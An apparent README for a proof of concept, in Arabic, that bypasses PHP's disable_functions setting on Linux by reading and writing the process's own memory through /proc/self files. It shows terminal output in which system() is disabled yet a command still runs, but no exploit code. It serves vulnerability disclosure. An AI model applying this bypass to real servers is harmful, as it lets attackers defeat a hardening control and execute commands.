
مشروع تجريبي لكيفية تجاوز إعداد الأمان disable_functions في PHP على Linux
مشروع تجريبي لكيفية تجاوز إجراء الأمان disable_functions في PHP على لينكس، حيث يمكن للعمليات فحص وحتى كتابة ذاكرتها الخاصة عبر ملف /proc/self/map الخاص من خلال عمليات ملفات قياسية (open/seek/read/write).
تم اختباره على PHP 7.3.5, x86_64 Linux
انظر أيضًا: https://seclists.org/bugtraq/2019/May/52
regularuser@7981d86dd9aa:/$ ./php-7.3.5-vanilla/sapi/cli/php -d 'disable_functions=system' disfunpoc.php
Warning: system() has been disabled for security reasons in /repo-shared/disabled_functions/disfunpoc.php on line 2
uid=1000(regularuser) gid=1000(regularuser) groups=1000(regularuser)